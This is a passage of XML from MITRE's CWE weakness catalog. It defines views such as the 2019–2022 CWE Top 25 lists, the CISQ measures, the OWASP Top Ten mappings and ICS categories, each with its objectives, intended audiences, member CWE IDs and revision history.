         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2019-12-27</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </View>
      <View ID="1200" Name="Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors" Type="Graph" Status="Stable">
            <Objective>CWE entries in this view are listed in the 2019 CWE Top 25 Most Dangerous Software Errors.</Objective>
            <Audience>
                <Stakeholder>
                    <Type>Software Developers</Type>
                    <Description>By following the Top 25, developers will be able to significantly reduce the number of weaknesses that occur in their software.</Description>
                </Stakeholder>
                <Stakeholder>
               <Type>Product Customers</Type>
                    <Description>If a software developer claims to be following the Top 25, then customers can use the weaknesses in this view in order to formulate independent evidence of that claim.</Description>
                </Stakeholder>
                <Stakeholder>
                    <Type>Educators</Type>
                    <Description>Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could focus on the Top 25.</Description>
                </Stakeholder>
            </Audience>
            <Members>
                <Has_Member CWE_ID="119" View_ID="1200"/>
                <Has_Member CWE_ID="79" View_ID="1200"/>
                <Has_Member CWE_ID="20" View_ID="1200"/>
                <Has_Member CWE_ID="200" View_ID="1200"/>
                <Has_Member CWE_ID="125" View_ID="1200"/>
                <Has_Member CWE_ID="89" View_ID="1200"/>
                <Has_Member CWE_ID="416" View_ID="1200"/>
                <Has_Member CWE_ID="190" View_ID="1200"/>
                <Has_Member CWE_ID="352" View_ID="1200"/>
                <Has_Member CWE_ID="22" View_ID="1200"/>
                <Has_Member CWE_ID="78" View_ID="1200"/>
                <Has_Member CWE_ID="787" View_ID="1200"/>
                <Has_Member CWE_ID="287" View_ID="1200"/>
                <Has_Member CWE_ID="476" View_ID="1200"/>
                <Has_Member CWE_ID="732" View_ID="1200"/>
                <Has_Member CWE_ID="434" View_ID="1200"/>
                <Has_Member CWE_ID="611" View_ID="1200"/>
                <Has_Member CWE_ID="94" View_ID="1200"/>
                <Has_Member CWE_ID="798" View_ID="1200"/>
                <Has_Member CWE_ID="400" View_ID="1200"/>
                <Has_Member CWE_ID="772" View_ID="1200"/>
                <Has_Member CWE_ID="426" View_ID="1200"/>
                <Has_Member CWE_ID="502" View_ID="1200"/>
                <Has_Member CWE_ID="269" View_ID="1200"/>
                <Has_Member CWE_ID="295" View_ID="1200"/>
            </Members>
            <References>
                <Reference External_Reference_ID="REF-1028"/>
            </References>
            <Content_History>
                <Submission>
                    <Submission_Name>CWE Content Team</Submission_Name>
                    <Submission_Organization>MITRE</Submission_Organization>
                    <Submission_Date>2019-09-18</Submission_Date>
                </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated View_Audience</Modification_Comment>
				</Modification>
            </Content_History>
        </View>
      <View ID="1305" Name="CISQ Quality Measures (2020)" Type="Graph" Status="Incomplete">
         <Objective>This view outlines the most important software quality issues as identified by the Consortium for Information &amp; Software Quality (CISQ) Automated Quality Characteristic Measures, released in 2020. These measures are derived from Object Management Group (OMG) standards.</Objective>
         <Audience>
            <Stakeholder>
               <Type>Software Developers</Type>
               <Description>This view provides a good starting point for anyone involved in software development (including architects, designers, coders, and testers) to ensure that code quality issues are considered during the development process.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Product Vendors</Type>
               <Description>This view can help product vendors understand code quality issues and convey an overall status of their software.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Assessment Tool Vendors</Type>
               <Description>This view provides a good starting point for assessment tool vendors (e.g., vendors selling static analysis tools) who wish to understand what constitutes software with good code quality, and which quality issues may be of concern.</Description>
            </Stakeholder>
         </Audience>
         <Members>
             <Has_Member CWE_ID="1306" View_ID="1305"/>
             <Has_Member CWE_ID="1307" View_ID="1305"/>
             <Has_Member CWE_ID="1308" View_ID="1305"/>
             <Has_Member CWE_ID="1309" View_ID="1305"/>
         </Members>
         <References>
             <Reference External_Reference_ID="REF-1133"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2020-08-18</Submission_Date>
            </Submission>
         </Content_History>
      </View>
      <View ID="1337" Name="Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses" Type="Graph" Status="Stable">
            <Objective>CWE entries in this view are listed in the 2021 CWE Top 25 Most Dangerous Software Weaknesses.</Objective>
            <Audience>
                <Stakeholder>
                    <Type>Software Developers</Type>
                    <Description>By following the CWE Top 25, developers are able to significantly reduce the number of weaknesses that occur in their software.</Description>
                </Stakeholder>
                <Stakeholder>
               <Type>Product Customers</Type>
                    <Description>Customers can use the weaknesses in this view in order to formulate independent evidence of a claim by a product vendor to have eliminated / mitigated the most dangerous weaknesses.</Description>
                </Stakeholder>
                <Stakeholder>
                    <Type>Educators</Type>
                    <Description>Educators can use this view to focus curriculum and teachings on the most dangerous weaknesses.</Description>
                </Stakeholder>
            </Audience>
            <Members>
	      <Has_Member CWE_ID="787" View_ID="1337"/>
	      <Has_Member CWE_ID="79" View_ID="1337"/>
	      <Has_Member CWE_ID="125" View_ID="1337"/>
	      <Has_Member CWE_ID="20" View_ID="1337"/>
	      <Has_Member CWE_ID="78" View_ID="1337"/>
	      <Has_Member CWE_ID="89" View_ID="1337"/>
	      <Has_Member CWE_ID="416" View_ID="1337"/>
	      <Has_Member CWE_ID="22" View_ID="1337"/>
	      <Has_Member CWE_ID="352" View_ID="1337"/>
	      <Has_Member CWE_ID="434" View_ID="1337"/>
	      <Has_Member CWE_ID="306" View_ID="1337"/>
	      <Has_Member CWE_ID="190" View_ID="1337"/>
	      <Has_Member CWE_ID="502" View_ID="1337"/>
	      <Has_Member CWE_ID="287" View_ID="1337"/>
	      <Has_Member CWE_ID="476" View_ID="1337"/>
	      <Has_Member CWE_ID="798" View_ID="1337"/>
	      <Has_Member CWE_ID="119" View_ID="1337"/>
	      <Has_Member CWE_ID="862" View_ID="1337"/>
	      <Has_Member CWE_ID="276" View_ID="1337"/>
	      <Has_Member CWE_ID="200" View_ID="1337"/>
	      <Has_Member CWE_ID="522" View_ID="1337"/>
	      <Has_Member CWE_ID="732" View_ID="1337"/>
	      <Has_Member CWE_ID="611" View_ID="1337"/>
	      <Has_Member CWE_ID="918" View_ID="1337"/>
	      <Has_Member CWE_ID="77" View_ID="1337"/>
            </Members>
            <References>
                <Reference External_Reference_ID="REF-1185"/>
            </References>
            <Content_History>
                <Submission>
                    <Submission_Name>CWE Content Team</Submission_Name>
                    <Submission_Organization>MITRE</Submission_Organization>
                    <Submission_Date>2021-06-22</Submission_Date>
                </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated View_Audience</Modification_Comment>
				</Modification>
            </Content_History>
        </View>
      <View ID="1340" Name="CISQ Data Protection Measures" Type="Graph" Status="Incomplete">
         <Objective>This view outlines the SMM representation of the Automated Source Code Data Protection Measurement specifications, as identified by the Consortium for Information &amp; Software Quality (CISQ) Working Group.</Objective>
         <Audience>
            <Stakeholder>
               <Type>Software Developers</Type>
               <Description>This view provides a good starting point for anyone involved in software development (including architects, designers, coders, and testers) to ensure that code quality issues are considered during the development process.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Product Vendors</Type>
               <Description>This view can help product vendors understand code quality issues and convey an overall status of their software.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Assessment Tool Vendors</Type>
               <Description>This view provides a good starting point for assessment tool vendors (e.g., vendors selling static analysis tools) who wish to understand what constitutes software with good code quality, and which quality issues may be of concern.</Description>
            </Stakeholder>
         </Audience>
         <Members>
			<Has_Member CWE_ID="119" View_ID="1340"/>
			<Has_Member CWE_ID="672" View_ID="1340"/>
			<Has_Member CWE_ID="665" View_ID="1340"/>
			<Has_Member CWE_ID="404" View_ID="1340"/>
			<Has_Member CWE_ID="611" View_ID="1340"/>
			<Has_Member CWE_ID="99" View_ID="1340"/>
			<Has_Member CWE_ID="652" View_ID="1340"/>
			<Has_Member CWE_ID="643" View_ID="1340"/>
			<Has_Member CWE_ID="90" View_ID="1340"/>
			<Has_Member CWE_ID="89" View_ID="1340"/>
			<Has_Member CWE_ID="77" View_ID="1340"/>
			<Has_Member CWE_ID="79" View_ID="1340"/>
			<Has_Member CWE_ID="91" View_ID="1340"/>
			<Has_Member CWE_ID="1051" View_ID="1340"/>
			<Has_Member CWE_ID="424" View_ID="1340"/>
			<Has_Member CWE_ID="798" View_ID="1340"/>
			<Has_Member CWE_ID="681" View_ID="1340"/>
			<Has_Member CWE_ID="662" View_ID="1340"/>
			<Has_Member CWE_ID="704" View_ID="1340"/>
			<Has_Member CWE_ID="562" View_ID="1340"/>
			<Has_Member CWE_ID="170" View_ID="1340"/>
			<Has_Member CWE_ID="129" View_ID="1340"/>
			<Has_Member CWE_ID="134" View_ID="1340"/>
			<Has_Member CWE_ID="606" View_ID="1340"/>
			<Has_Member CWE_ID="22" View_ID="1340"/>
			<Has_Member CWE_ID="434" View_ID="1340"/>
			<Has_Member CWE_ID="703" View_ID="1340"/>
			<Has_Member CWE_ID="908" View_ID="1340"/>
			<Has_Member CWE_ID="682" View_ID="1340"/>
			<Has_Member CWE_ID="732" View_ID="1340"/>
			<Has_Member CWE_ID="502" View_ID="1340"/>
			<Has_Member CWE_ID="213" View_ID="1340"/>
			<Has_Member CWE_ID="915" View_ID="1340"/>
			<Has_Member CWE_ID="311" View_ID="1340"/>
			<Has_Member CWE_ID="359" View_ID="1340"/>
			<Has_Member CWE_ID="284" View_ID="1340"/>
         </Members>
         <References>
             <Reference External_Reference_ID="REF-1157"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2020-12-10</Submission_Date>
            </Submission>
         </Content_History>
      </View>
      <View ID="1343" Name="Weaknesses in the 2021 CWE Most Important Hardware Weaknesses List" Type="Explicit" Status="Stable">
            <Objective>CWE entries in this view are listed in the 2021 CWE Most Important Hardware Weaknesses List, as determined by the Hardware CWE Special Interest Group (HW CWE SIG).</Objective>
            <Audience>
                <Stakeholder>
                    <Type>Hardware Designers</Type>
                    <Description>By following this list, hardware designers and implementers are able to significantly reduce the number of weaknesses that occur in their products.</Description>
                </Stakeholder>
                <Stakeholder>
               <Type>Product Customers</Type>
                    <Description>Customers can use the weaknesses in this view in order to formulate independent evidence of a claim by a product vendor to have eliminated / mitigated the most dangerous weaknesses.</Description>
                </Stakeholder>
                <Stakeholder>
                    <Type>Educators</Type>
                    <Description>Educators can use this view to focus curriculum on the most important hardware weaknesses.</Description>
                </Stakeholder>
            </Audience>
            <Members>
	      <Has_Member CWE_ID="1189" View_ID="1343"/>
	      <Has_Member CWE_ID="1191" View_ID="1343"/>
	      <Has_Member CWE_ID="1231" View_ID="1343"/>
	      <Has_Member CWE_ID="1233" View_ID="1343"/>
	      <Has_Member CWE_ID="1240" View_ID="1343"/>
	      <Has_Member CWE_ID="1244" View_ID="1343"/>
	      <Has_Member CWE_ID="1256" View_ID="1343"/>
	      <Has_Member CWE_ID="1260" View_ID="1343"/>
	      <Has_Member CWE_ID="1272" View_ID="1343"/>
	      <Has_Member CWE_ID="1274" View_ID="1343"/>
	      <Has_Member CWE_ID="1277" View_ID="1343"/>
	      <Has_Member CWE_ID="1300" View_ID="1343"/>
            </Members>
	    <References>
              <Reference External_Reference_ID="REF-1238"/>
	    </References>
            <Content_History>
                <Submission>
                    <Submission_Name>CWE Content Team</Submission_Name>
                    <Submission_Organization>MITRE</Submission_Organization>
                    <Submission_Date>2021-09-29</Submission_Date>
                </Submission>
            </Content_History>
        </View>
      <View ID="1344" Name="Weaknesses in OWASP Top Ten (2021)" Type="Graph" Status="Incomplete">
         <Objective>CWE entries in this view (graph) are associated with the OWASP Top Ten, as released in 2021.</Objective>
         <Audience>
            <Stakeholder>
               <Type>Software Developers</Type>
               <Description>This view outlines the most important issues as identified by the OWASP Top Ten (2021 version), providing a good starting point for web application developers who want to code more securely.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Product Customers</Type>
               <Description>This view outlines the most important issues as identified by the OWASP Top Ten (2021 version), providing product customers with a way of asking their software development teams to follow minimum expectations for secure code.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Educators</Type>
               <Description>Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students.</Description>
            </Stakeholder>
         </Audience>
	 <Members>
	    <Has_Member CWE_ID="1345" View_ID="1344"/>
	    <Has_Member CWE_ID="1346" View_ID="1344"/>
	    <Has_Member CWE_ID="1347" View_ID="1344"/>
	    <Has_Member CWE_ID="1348" View_ID="1344"/>
	    <Has_Member CWE_ID="1349" View_ID="1344"/>
	    <Has_Member CWE_ID="1352" View_ID="1344"/>
	    <Has_Member CWE_ID="1353" View_ID="1344"/>
	    <Has_Member CWE_ID="1354" View_ID="1344"/>
	    <Has_Member CWE_ID="1355" View_ID="1344"/>
	    <Has_Member CWE_ID="1356" View_ID="1344"/>
	 </Members>
         <References>
            <Reference External_Reference_ID="REF-1206"/>
         </References>
	 <Notes>
	   <Note Type="Maintenance">As of CWE 4.6, the relationships in this view were pulled directly from the CWE mappings cited in the 2021 OWASP Top Ten. These mappings include categories and high-level weaknesses. One mapping to a deprecated entry was removed. The CWE Program will work with OWASP to improve these mappings, possibly requiring modifications to CWE itself.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2021-10-05</Submission_Date>
            </Submission>
         </Content_History>
      </View>
      <View ID="1350" Name="Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses" Type="Graph" Status="Stable">
            <Objective>CWE entries in this view are listed in the 2020 CWE Top 25 Most Dangerous Software Weaknesses.</Objective>
            <Audience>
                <Stakeholder>
                    <Type>Software Developers</Type>
                    <Description>By following the CWE Top 25, developers are able to significantly reduce the number of weaknesses that occur in their software.</Description>
                </Stakeholder>
                <Stakeholder>
               <Type>Product Customers</Type>
                    <Description>Customers can use the weaknesses in this view in order to formulate independent evidence of a claim by a product vendor to have eliminated / mitigated the most dangerous weaknesses.</Description>
                </Stakeholder>
                <Stakeholder>
                    <Type>Educators</Type>
                    <Description>Educators can use this view to focus curriculum and teachings on the most dangerous weaknesses.</Description>
                </Stakeholder>
            </Audience>
            <Members>
                <Has_Member CWE_ID="79" View_ID="1350"/>
                <Has_Member CWE_ID="787" View_ID="1350"/>
                <Has_Member CWE_ID="20" View_ID="1350"/>
                <Has_Member CWE_ID="125" View_ID="1350"/>
                <Has_Member CWE_ID="119" View_ID="1350"/>
                <Has_Member CWE_ID="89" View_ID="1350"/>
                <Has_Member CWE_ID="200" View_ID="1350"/>
                <Has_Member CWE_ID="416" View_ID="1350"/>
                <Has_Member CWE_ID="352" View_ID="1350"/>
                <Has_Member CWE_ID="78" View_ID="1350"/>
                <Has_Member CWE_ID="190" View_ID="1350"/>
                <Has_Member CWE_ID="22" View_ID="1350"/>
                <Has_Member CWE_ID="476" View_ID="1350"/>
                <Has_Member CWE_ID="287" View_ID="1350"/>
                <Has_Member CWE_ID="434" View_ID="1350"/>
                <Has_Member CWE_ID="732" View_ID="1350"/>
                <Has_Member CWE_ID="94" View_ID="1350"/>
                <Has_Member CWE_ID="522" View_ID="1350"/>
                <Has_Member CWE_ID="611" View_ID="1350"/>
                <Has_Member CWE_ID="798" View_ID="1350"/>
                <Has_Member CWE_ID="502" View_ID="1350"/>
                <Has_Member CWE_ID="269" View_ID="1350"/>
                <Has_Member CWE_ID="400" View_ID="1350"/>
                <Has_Member CWE_ID="306" View_ID="1350"/>
                <Has_Member CWE_ID="862" View_ID="1350"/>
            </Members>
            <References>
                <Reference External_Reference_ID="REF-1132"/>
            </References>
            <Content_History>
                <Submission>
                    <Submission_Name>CWE Content Team</Submission_Name>
                    <Submission_Organization>MITRE</Submission_Organization>
                    <Submission_Date>2020-08-20</Submission_Date>
                </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated View_Audience</Modification_Comment>
				</Modification>
            </Content_History>
        </View>
      <View ID="1358" Name="Weaknesses in SEI ETF Categories of Security Vulnerabilities in ICS" Type="Graph" Status="Incomplete">
         <Objective>CWE entries in this view (graph) are associated with the Categories of Security Vulnerabilities in ICS, as published by the Securing Energy Infrastructure Executive Task Force (SEI ETF) in March 2022. Weaknesses and categories in this view are focused on issues that affect ICS (Industrial Control Systems) but have not been traditionally covered by CWE in the past due to its earlier emphasis on enterprise IT software. Note: weaknesses in this view are based on "Nearest IT Neighbor" recommendations and other suggestions by the CWE team. These relationships are likely to change in future CWE versions.</Objective>
         <Audience>
            <Stakeholder>
	      <Type>Hardware Designers</Type>
	      <Description>ICS/OT hardware designers can use this view to ensure a minimal set of weaknesses that should be avoided or mitigated during the design process.</Description>
            </Stakeholder>
            <Stakeholder>
	      <Type>Product Vendors</Type>
	      <Description>Product vendors can use this view to ensure that all aspects of the product lifecycle address these weaknesses.</Description>
            </Stakeholder>
            <Stakeholder>
	      <Type>Assessment Tool Vendors</Type>
	      <Description>Assessment tool vendors that help to assess potential weaknesses, or avoid them, can use this view to improve their tool's coverage to address more weaknesses.</Description>
            </Stakeholder>
            <Stakeholder>
	      <Type>Academic Researchers</Type>
	      <Description>Academic researchers can use this view to identify potential research opportunities that could produce better methods for detection or avoidance of weaknesses in ICS/OT products.</Description>
            </Stakeholder>
         </Audience>
	 <Members>
	    <Has_Member CWE_ID="1359" View_ID="1358"/>
	    <Has_Member CWE_ID="1360" View_ID="1358"/>
	    <Has_Member CWE_ID="1361" View_ID="1358"/>
	    <Has_Member CWE_ID="1362" View_ID="1358"/>
	    <Has_Member CWE_ID="1363" View_ID="1358"/>
	 </Members>
         <References>
            <Reference External_Reference_ID="REF-1248"/>
         </References>
	 <Notes>
	   <Note Type="Relationship">Relationships in this view are not authoritative and subject to change. See Maintenance notes.</Note>
	   <Note Type="Maintenance">This view was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT)</Submission_Name>
               <Submission_Organization>Securing Energy Infrastructure Executive Task Force</Submission_Organization>
               <Submission_Date>2022-03-09</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, Relationship_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </View>
      <View ID="1387" Name="Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses" Type="Graph" Status="Draft">
            <Objective>CWE entries in this view are listed in the 2022 CWE Top 25 Most Dangerous Software Weaknesses.</Objective>
            <Audience>
                <Stakeholder>
                    <Type>Software Developers</Type>
                    <Description>By following the CWE Top 25, developers are able to significantly reduce the number of weaknesses that occur in their software.</Description>
                </Stakeholder>
                <Stakeholder>
               <Type>Product Customers</Type>
                    <Description>Customers can use the weaknesses in this view in order to formulate independent evidence of a claim by a product vendor to have eliminated / mitigated the most dangerous weaknesses.</Description>
                </Stakeholder>
                <Stakeholder>
                    <Type>Educators</Type>
                    <Description>Educators can use this view to focus curriculum and teachings on the most dangerous weaknesses.</Description>
                </Stakeholder>
            </Audience>
            <Members>
	      <Has_Member CWE_ID="787" View_ID="1387"/>
	      <Has_Member CWE_ID="79" View_ID="1387"/>
	      <Has_Member CWE_ID="89" View_ID="1387"/>
	      <Has_Member CWE_ID="20" View_ID="1387"/>
	      <Has_Member CWE_ID="125" View_ID="1387"/>
	      <Has_Member CWE_ID="78" View_ID="1387"/>
	      <Has_Member CWE_ID="416" View_ID="1387"/>
	      <Has_Member CWE_ID="22" View_ID="1387"/>
	      <Has_Member CWE_ID="352" View_ID="1387"/>
	      <Has_Member CWE_ID="434" View_ID="1387"/>
	      <Has_Member CWE_ID="476" View_ID="1387"/>
	      <Has_Member CWE_ID="502" View_ID="1387"/>
	      <Has_Member CWE_ID="190" View_ID="1387"/>
	      <Has_Member CWE_ID="287" View_ID="1387"/>
	      <Has_Member CWE_ID="798" View_ID="1387"/>
	      <Has_Member CWE_ID="862" View_ID="1387"/>
	      <Has_Member CWE_ID="77" View_ID="1387"/>
	      <Has_Member CWE_ID="306" View_ID="1387"/>
	      <Has_Member CWE_ID="119" View_ID="1387"/>
	      <Has_Member CWE_ID="276" View_ID="1387"/>
	      <Has_Member CWE_ID="918" View_ID="1387"/>
	      <Has_Member CWE_ID="362" View_ID="1387"/>
	      <Has_Member CWE_ID="400" View_ID="1387"/>
	      <Has_Member CWE_ID="611" View_ID="1387"/>
	      <Has_Member CWE_ID="94" View_ID="1387"/>
            </Members>
            <References>
                <Reference External_Reference_ID="REF-1268"/>
            </References>
            <Content_History>
                <Submission>
                    <Submission_Name>CWE Content Team</Submission_Name>
                    <Submission_Organization>MITRE</Submission_Organization>
                    <Submission_Date>2022-06-22</Submission_Date>
                </Submission>
            </Content_History>
        </View>
      <View ID="1400" Name="Comprehensive Categorization for Software Assurance Trends" Type="Graph" Status="Draft">
         <Objective>
	   <xhtml:p>This view organizes weaknesses around categories that are of interest to large-scale software assurance research to support the elimination of weaknesses using tactics such as secure language development. It is also intended to help tracking weakness trends in publicly disclosed vulnerability data.  This view is comprehensive in that every weakness must be contained in it, unlike most other views that only use a subset of weaknesses. This view is structured with categories at the top level, with a second level of only weaknesses. Relationships among the weaknesses presented under the research view (CWE-1000) are not shown.</xhtml:p>
	   <xhtml:p>Each weakness is added to only one category. All categories are mutually exclusive; that is, no weakness can be a member of more than one category. While weaknesses defy strict categorization along only one characteristic, the forced bucketing into a single category can simplify certain kinds of analysis.</xhtml:p>
	   <xhtml:p>Note that the size of each category can vary widely because (1) CWE is not as well fleshed-out in some areas compared to others; (2) abstraction of the CWEs in the grouping might go down to Variant level for some buckets, versus others.</xhtml:p>
	 </Objective>
         <Audience>
            <Stakeholder>
               <Type>Academic Researchers</Type>
               <Description>Researchers can use this view to evaluate the breadth and depth of software assurance with respect to mitigating and managing weaknesses before they become vulnerabilities.</Description>
            </Stakeholder>
         </Audience>
         <Members>
            <Has_Member CWE_ID="1396" View_ID="1400"/>
            <Has_Member CWE_ID="1397" View_ID="1400"/>
            <Has_Member CWE_ID="1398" View_ID="1400"/>
            <Has_Member CWE_ID="1401" View_ID="1400"/>
            <Has_Member CWE_ID="1402" View_ID="1400"/>
            <Has_Member CWE_ID="1403" View_ID="1400"/>
            <Has_Member CWE_ID="1404" View_ID="1400"/>
            <Has_Member CWE_ID="1405" View_ID="1400"/>
            <Has_Member CWE_ID="1406" View_ID="1400"/>
            <Has_Member CWE_ID="1407" View_ID="1400"/>
            <Has_Member CWE_ID="1408" View_ID="1400"/>
            <Has_Member CWE_ID="1409" View_ID="1400"/>
            <Has_Member CWE_ID="1410" View_ID="1400"/>
            <Has_Member CWE_ID="1411" View_ID="1400"/>
            <Has_Member CWE_ID="1399" View_ID="1400"/>
            <Has_Member CWE_ID="1412" View_ID="1400"/>
            <Has_Member CWE_ID="1413" View_ID="1400"/>
            <Has_Member CWE_ID="1414" View_ID="1400"/>
            <Has_Member CWE_ID="1415" View_ID="1400"/>
            <Has_Member CWE_ID="1416" View_ID="1400"/>
            <Has_Member CWE_ID="1417" View_ID="1400"/>
            <Has_Member CWE_ID="1418" View_ID="1400"/>
         </Members>
         <Notes>
	   <Note Type="Relationship">This view is different than the software development view (CWE-699) because this view is expected to include all weaknesses regardless of abstraction, while view 699 uses a largely-fixed Base level of abstraction related only to software weaknesses. It is different from the Research view (CWE-1000) because while comprehensive for all weaknesses, the view uses a deep hierarchical structure and excludes categories.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2023-04-25</Submission_Date>
            </Submission>
         </Content_History>
      </View>
      <View ID="2000" Name="Comprehensive CWE Dictionary" Type="Implicit" Status="Draft">
         <Objective>This view (slice) covers all the elements in CWE.</Objective>
         <Filter>/Weakness_Catalog/*[not(self::External_References)]/*</Filter>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-01-30</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated View_Structure</Modification_Comment>
            </Modification>
         </Content_History>
      </View>
      <View ID="604" Name="Deprecated Entries" Type="Implicit" Status="Draft">
         <Objective>CWE nodes in this view (slice) have been deprecated. There should be a reference pointing to the replacement in each deprecated weakness.</Objective>
         <Filter>/Weakness_Catalog/*/*[@Status='Deprecated']</Filter>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2007-05-07</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, View_Structure</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-08-28</Modification_Date>
               <Modification_Comment>changed explicit member list to implicit filter</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Relationships, View_Filter, View_Structure</Modification_Comment>
            </Modification>
            <Previous_Entry_Name Date="2008-11-24">Deprecated</Previous_Entry_Name>
         </Content_History>
      </View>
      <View ID="629" Name="Weaknesses in OWASP Top Ten (2007)" Type="Graph" Status="Obsolete">
         <Objective>CWE nodes in this view (graph) are associated with the OWASP Top Ten, as released in 2007. This view is considered obsolete as a newer version of the OWASP Top Ten is available.</Objective>
         <Audience>
            <Stakeholder>
               <Type>Software Developers</Type>
               <Description>This view outlines the most important issues as identified by the OWASP Top Ten (2007 version), providing a good starting point for web application developers who want to code more securely.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Product Customers</Type>
               <Description>This view outlines the most important issues as identified by the OWASP Top Ten (2007 version), providing customers with a way of asking their software developers to follow minimum expectations for secure code.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Educators</Type>
               <Description>Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students.</Description>
            </Stakeholder>
         </Audience>
         <Members>
            <Has_Member CWE_ID="712" View_ID="629"/>
            <Has_Member CWE_ID="713" View_ID="629"/>
            <Has_Member CWE_ID="714" View_ID="629"/>
            <Has_Member CWE_ID="715" View_ID="629"/>
            <Has_Member CWE_ID="716" View_ID="629"/>
            <Has_Member CWE_ID="717" View_ID="629"/>
            <Has_Member CWE_ID="718" View_ID="629"/>
            <Has_Member CWE_ID="719" View_ID="629"/>
            <Has_Member CWE_ID="720" View_ID="629"/>
            <Has_Member CWE_ID="721" View_ID="629"/>
         </Members>
         <References>
            <Reference External_Reference_ID="REF-43"/>
         </References>
         <Notes>
            <Note Type="Relationship">The relationships in this view are a direct extraction of the CWE mappings that are in the 2007 OWASP document. CWE has changed since the release of that document.</Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2007-10-01</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationships, References, Relationship_Notes, View_Audience, View_Structure</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
